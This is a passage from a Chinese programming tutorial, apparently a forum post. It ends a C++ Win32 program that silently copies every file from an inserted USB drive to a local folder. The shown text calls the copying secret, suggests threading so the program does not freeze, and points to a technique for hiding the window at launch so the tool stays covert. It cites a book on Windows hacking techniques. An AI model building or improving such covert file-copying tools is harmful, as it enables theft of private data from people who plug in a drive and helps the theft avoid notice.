::lstrcat(szNewFile, FileData.cFileName); ::CopyFile(pTempSrc, szNewFile, FALSE); } // 搜索下一个文件 } while (::FindNextFile(hFile, &FileData)); } // 关闭文件句柄 ::FindClose(hFile); // 释放内存 delete[]pTempSrc; pTempSrc = NULL; delete[]pszFileName; pszFileName = NULL;}
    程序测试我们运行程序后,插入U盘,然后等待一会儿后,我们打开本地上保存U盘拷贝数据的目录,发现成功拷贝U盘里的文件。

    总结为了防止程序在秘密拷贝U盘数据的时候,程序会卡死,所以,可以创建一个多线程,把拷贝文件的操作放到多线程里去执行,这样就不会阻塞主线程了。
    同时,创建本文演示的这个程序还没有对程序的窗口进行隐藏,如果你想要把这个程序做得比较隐蔽的话,可以参考本站上其他人写的 “编程实现MFC程序窗口一运行立马隐藏” 这篇文档,里面有介绍如何一开就隐藏窗口程序。
    参考参考自《Windows黑客编程技术详解》一书
    2 留言 2018-12-05 21:21:26 奖励25点积分
显示 60 到 75 ,共 15 条
eject